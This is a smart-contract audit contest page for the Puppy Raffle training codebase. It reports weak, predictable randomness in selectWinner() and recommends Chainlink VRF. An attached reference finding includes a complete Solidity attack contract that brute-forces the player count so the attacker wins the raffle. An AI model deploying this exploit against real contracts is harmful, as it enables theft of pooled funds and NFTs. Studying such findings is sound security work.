Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

H-02 — Weak / Manipulable Randomness in selectWinner()

coolvanpersie1

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

uint256 winnerIndex =
uint256(
keccak256(
abi.encodePacked(
msg.sender, // @> caller-controlled
block.timestamp, // @> predictable
block.difficulty // @> block-related value
)
)
) % players.length;

Risk

Likelihood:

High

Reason 1: msg.sender is fully controlled by the caller.

Reason 2: block.timestamp is known before transaction execution.

Reason 3: block-related values are not suitable as a secure source of randomness.

Impact:

High

Impact 1: Winner selection can be predicted.

Impact 2: A caller can potentially wait for a favorable outcome.

Impact 3: The fairness of the raffle is compromised.


Proof of Concept


An attacker can reproduce the exact calculation off-chain:

known msg.sender
+
known block.timestamp
+
known block value
↓
keccak256
↓
winnerIndex
↓
players[winnerIndex]
​

Recommended Mitigation

- uint256 winnerIndex =
- uint256(
- keccak256(
- abi.encodePacked(
- msg.sender,
- block.timestamp,
- block.difficulty
- )
- )
- ) % players.length;
​
+ requestRandomWords();
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!